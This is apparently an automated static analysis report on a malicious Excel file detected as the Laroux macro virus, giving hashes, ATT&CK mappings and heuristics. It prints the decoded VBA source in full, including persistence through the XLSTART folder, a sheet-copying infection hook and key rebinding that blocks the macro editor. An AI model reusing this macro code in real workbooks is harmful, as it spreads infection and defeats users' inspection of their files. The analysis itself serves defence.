Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b9f73a76cb5a333c…

MALICIOUS

Office (OLE)

42.5 KB Created: 2009-02-16 06:38:26 Authoring application: Microsoft Excel First seen: 2014-07-15
MD5: 88ba21df47618762c7ded97f4d5c0b8b SHA-1: cee6c7d75df642766f2b6271c70f222ab632d048 SHA-256: b9f73a76cb5a333c2382b676fe48efd8c12cc4b98fc0681815b56707777997d6
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1070.004 File Deletion T1564.001 Hidden Window

The sample is an Excel file containing VBA macros, identified by ClamAV as Doc.Macro.Laroux-5893719-0. The `auto_open` macro attempts to establish persistence by copying itself to the Excel startup folder as 'StartUp.xls'. It also hooks Excel events (`OnSheetActivate`, `OnKey`) to evade detection and potentially spread to other workbooks. The document body contains financial-related text, likely a lure.

Heuristics 6

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
      If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
      Application.OnSheetActivate = "StartUp.xls!ycop"
  • VBA hooks the VBE-editor / macro-list keys to evade inspection high OLE_VBA_VBE_KEY_HOOK_EVASION
    The macro reroutes Alt+F11 (Visual Basic editor) and/or Alt+F8 (macro list) through Application.OnKey, so an analyst's attempt to open the macro code is intercepted. This anti-analysis trick is a hallmark of resident Excel macro viruses hiding the viral module while it is loaded.
    Matched line in script
      Application.OnKey "%{F11}", "StartUp.xls!escape"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1223 bytes
SHA-256: 1aade4ed855002fe3c1531e58ce176fcd522d30cf4f88e9843368ad938864649
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    End If
    End Sub
  


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.